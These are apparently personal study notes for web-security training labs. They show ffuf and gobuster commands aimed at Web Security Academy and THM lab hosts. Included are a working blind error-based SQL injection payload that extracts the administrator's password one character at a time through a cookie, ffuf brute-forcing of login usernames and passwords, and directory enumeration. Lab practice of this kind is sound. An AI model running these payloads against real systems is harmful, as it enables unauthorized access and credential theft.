Burpsuite pro alternative. used for SQLi. input via 1 wordlist and 1 stdin. shows only 500 response code results.
echo {a..z} {0..9} | tr ' ' '\n' | ffuf -w ~/Downloads/numbers.txt:POS -w -:FUZZ -u https://0a64008203b0f40180848fbf0051000a.web-security-academy.net/filter?category=Petss -b "TrackingId=rKptlkPHzEasynoS' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,POS,1)='FUZZ') || '; session=Yiv1znRtIZqAMnODXyVuxSgNbnhudSK1" -mc 500
POST Request.
$ ffuf -w ~/Downloads/burp_username.txt -u https://0ae00079042e7b8d80b0671f00ca001c.web-security-academy.net/login -X POST -d "username=FUZZ&password=test"
$ ffuf -w ~/Downloads/burp_password.txt -u https://0ae00079042e7b8d80b0671f00ca001c.web-security-academy.net/login -X POST -d "username=athena&password=FUZZ"
gobuster
# using a patterngobuster dir -u http://inter.thm -w /usr/share/seclists/Discovery/Web-Content/apache.txt -p pattern.txt# extensiongobuster dir -u "url" -x pdf